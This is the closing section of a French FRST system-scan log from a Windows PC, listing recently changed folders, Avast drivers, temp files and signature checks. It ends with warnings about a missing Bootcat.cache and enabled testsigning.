2016-12-10 10:21 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PenTabletDriver 2017-05-16 17:10 - 2016-12-10 10:19 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Logitech 2017-05-16 17:10 - 2016-12-10 10:12 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Minecraft 2017-05-16 16:45 - 2017-04-30 09:21 - 00000000 __RSD C:\WINDOWS\system32\WindowsDevicePortal 2017-05-16 16:45 - 2017-04-30 09:21 - 00000000 ___RD C:\WINDOWS\WebManagement 2017-05-16 16:45 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\system32\spool 2017-05-16 16:45 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\system32\NDF 2017-05-16 16:45 - 2017-02-02 21:28 - 00000000 ____D C:\WINDOWS\SysWOW64\%LOCALAPPDATA% 2017-05-16 16:45 - 2016-12-16 20:11 - 00000000 ____D C:\WINDOWS\system32\kipr 2017-05-16 16:44 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\LiveKernelReports 2017-05-16 16:44 - 2017-01-05 18:23 - 00000000 ____D C:\WINDOWS\system32\%LOCALAPPDATA% 2017-05-16 16:43 - 2017-04-18 13:29 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Kits 2017-05-16 16:43 - 2017-04-18 13:19 - 00000000 ____D C:\Program Files\IIS 2017-05-16 16:43 - 2017-04-18 13:18 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Expression 2017-05-16 16:43 - 2017-04-18 13:10 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Visual Studio 2012 2017-05-16 16:43 - 2017-04-18 12:59 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Visual Studio 2015 2017-05-16 16:43 - 2017-04-18 08:51 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Visual Studio 2017 2017-05-16 16:43 - 2017-03-22 16:01 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Autodesk Backburner 2017.0 2017-05-16 16:43 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\microsoft shared 2017-05-16 16:43 - 2017-03-04 17:31 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype 2017-05-16 16:43 - 2016-12-30 11:39 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CPUID 2017-05-16 16:43 - 2016-12-20 17:43 - 00000000 ____D C:\Program Files\Intel 2017-05-16 16:43 - 2016-12-10 10:04 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mirillis 2017-05-16 16:39 - 2017-03-18 23:03 - 00000000 ____D C:\ProgramData\USOPrivate 2017-05-16 16:38 - 2016-12-16 18:02 - 00000000 ____D C:\Users\Lucile\AppData\Local\Packages 2017-05-16 16:38 - 2016-12-14 15:50 - 00000000 ____D C:\Users\Iris\AppData\Local\Packages 2017-05-16 16:36 - 2017-02-23 10:36 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Hammer & Chisel, Inc 2017-05-16 16:35 - 2016-12-09 20:18 - 00000000 ____D C:\Users\defaultuser0\AppData\Local\Packages 2017-05-16 16:34 - 2017-02-25 11:58 - 00000000 ____D C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Hammer & Chisel, Inc 2017-05-16 16:34 - 2016-12-10 09:37 - 00000000 ____D C:\Users\Tim54\AppData\Local\Packages 2017-05-16 16:31 - 2017-03-18 23:03 - 00000000 ____D C:\WINDOWS\Help 2017-05-16 16:31 - 2017-03-18 13:40 - 00000000 ____D C:\WINDOWS\system32\Sysprep 2017-05-14 09:04 - 2016-12-10 12:20 - 00158880 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswstm.sys 2017-05-12 19:31 - 2016-12-10 11:34 - 00000000 ____D C:\ProgramData\Skype 2017-05-12 19:30 - 2017-03-04 17:31 - 00000000 ___RD C:\Program Files (x86)\Skype 2017-05-10 14:33 - 2016-12-28 16:31 - 00001485 _____ C:\Users\Public\Desktop\GeForce Experience.lnk 2017-05-10 00:34 - 2016-12-09 20:24 - 00000000 ____D C:\Users\benja\AppData\Roaming\Skype 2017-05-08 15:21 - 2017-04-15 16:01 - 00000000 ____D C:\FFOutput 2017-05-08 15:16 - 2016-12-10 11:04 - 00000000 ____D C:\Users\Public\Documents\AdobeInstalledCodecs 2017-05-08 09:18 - 2017-03-06 14:47 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\TS3Client 2017-05-07 10:13 - 2016-12-10 10:09 - 00000000 ____D C:\Action! 2017-05-06 11:35 - 2016-12-10 10:18 - 00000000 ____D C:\ProgramData\Package Cache 2017-05-05 18:47 - 2017-01-05 17:55 - 00001032 _____ C:\Users\Public\Desktop\Steam.lnk 2017-05-05 18:05 - 2017-03-17 17:28 - 00000000 ____D C:\Users\Adélie\AppData\Local\CyberGhost 2017-05-04 15:27 - 2016-12-10 12:20 - 00569192 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswSP.sys 2017-05-04 15:27 - 2016-12-10 12:20 - 00339696 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswVmm.sys 2017-05-04 15:27 - 2016-12-10 12:20 - 00128648 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswMonFlt.sys 2017-05-04 15:27 - 2016-12-10 12:20 - 00101152 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswRdr2.sys 2017-05-04 15:27 - 2016-12-10 12:20 - 00075704 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswRvrt.sys 2017-05-04 15:27 - 2016-12-10 12:20 - 00038296 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswHwid.sys 2017-05-04 15:26 - 2016-12-10 12:22 - 00032600 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswKbd.sys 2017-05-04 15:26 - 2016-12-10 12:20 - 01007160 _____ (AVAST Software) C:\WINDOWS\system32\Drivers\aswSnx.sys 2017-05-04 15:25 - 2017-03-19 16:58 - 00334576 _____ (AVAST Software s.r.o.) C:\WINDOWS\system32\Drivers\aswbloga.sys 2017-05-04 15:25 - 2017-03-19 16:58 - 00311808 _____ (AVAST Software s.r.o.) C:\WINDOWS\system32\Drivers\aswbidsdrivera.sys 2017-05-04 15:25 - 2017-03-19 16:58 - 00190256 _____ (AVAST Software s.r.o.) C:\WINDOWS\system32\Drivers\aswbidsha.sys 2017-05-04 15:25 - 2017-03-19 16:58 - 00049016 _____ (AVAST Software s.r.o.) C:\WINDOWS\system32\Drivers\aswbuniva.sys ==================== Fichiers à la racine de certains dossiers ======= 2016-12-17 11:17 - 2016-12-17 11:24 - 7680000 _____ () C:\Program Files (x86)\GUT95C5.tmp 2017-03-14 15:02 - 2017-03-25 15:56 - 0000992 _____ () C:\Users\Adélie\AppData\Roaming\jd-gui.cfg 2017-05-04 17:58 - 2017-05-04 17:58 - 0004494 _____ () C:\Users\Adélie\AppData\Roaming\VoiceMeeterDefault.xml 2017-03-07 14:26 - 2017-06-01 15:50 - 0000600 _____ () C:\Users\Adélie\AppData\Local\PUTTY.RND 2017-05-30 13:01 - 2017-05-30 13:01 - 0000218 _____ () C:\Users\Adélie\AppData\Local\recently-used.xbel 2017-04-23 15:53 - 2017-04-23 15:54 - 0000132 _____ () C:\ProgramData\log.binb 2017-04-19 09:39 - 2017-04-23 15:53 - 0000128 _____ () C:\ProgramData\log.ewbb 2017-04-19 09:39 - 2017-04-23 15:53 - 0013600 _____ () C:\ProgramData\log.ewbt 2016-12-28 16:31 - 2017-01-22 09:41 - 0014622 _____ () C:\ProgramData\NvTelemetryContainer.log 2016-12-28 16:31 - 2017-01-16 18:43 - 0004998 _____ () C:\ProgramData\NvTelemetryContainer.log_backup1 Fichiers à déplacer ou supprimer: ==================== C:\Users\Adélie\378.57-desktop-notebook-win10-64bit-international.hf.exe C:\Users\Adélie\forge-1.10.2-12.18.3.2281-installer-win.exe C:\Users\Adélie\Minecraft.exe Certains fichiers dans TEMP: ==================== 2017-06-03 16:17 - 2017-06-03 16:17 - 0019968 _____ (Red Hat®, Inc.) C:\Users\Adélie\AppData\Local\Temp\jansi-64-3225843865889926563.dll 2017-06-03 16:25 - 2017-06-03 16:25 - 0019968 _____ (Red Hat®, Inc.) C:\Users\Adélie\AppData\Local\Temp\jansi-64-4240819208477378549.dll 2017-06-03 16:16 - 2017-06-03 16:16 - 0019968 ____N (Red Hat®, Inc.) C:\Users\Adélie\AppData\Local\Temp\jansi-64-5059049709903766896.dll ==================== Bamital & volsnap ====================== (Il n'y a pas de correction automatique pour les fichiers qui ne satisfont pas à la vérification.) C:\WINDOWS\system32\winlogon.exe => Le fichier est signé numériquement C:\WINDOWS\system32\wininit.exe => Le fichier est signé numériquement C:\WINDOWS\explorer.exe => Le fichier est signé numériquement C:\WINDOWS\SysWOW64\explorer.exe => Le fichier est signé numériquement C:\WINDOWS\system32\svchost.exe => Le fichier est signé numériquement C:\WINDOWS\SysWOW64\svchost.exe => Le fichier est signé numériquement C:\WINDOWS\system32\services.exe => Le fichier est signé numériquement C:\WINDOWS\system32\User32.dll => Le fichier est signé numériquement C:\WINDOWS\SysWOW64\User32.dll => Le fichier est signé numériquement C:\WINDOWS\system32\userinit.exe => Le fichier est signé numériquement C:\WINDOWS\SysWOW64\userinit.exe => Le fichier est signé numériquement C:\WINDOWS\system32\rpcss.dll => Le fichier est signé numériquement C:\WINDOWS\system32\dnsapi.dll => Le fichier est signé numériquement C:\WINDOWS\SysWOW64\dnsapi.dll => Le fichier est signé numériquement C:\WINDOWS\system32\Drivers\volsnap.sys => Le fichier est signé numériquement C:\WINDOWS\system32\codeintegrity\Bootcat.cache EST ABSENT <==== ATTENTION testsigning: ==> 'testsigning' est activé. Rechercher un éventuel pilote non signé <===== ATTENTION LastRegBack: 2017-05-29 20:13 ==================== Fin de FRST.txt ============================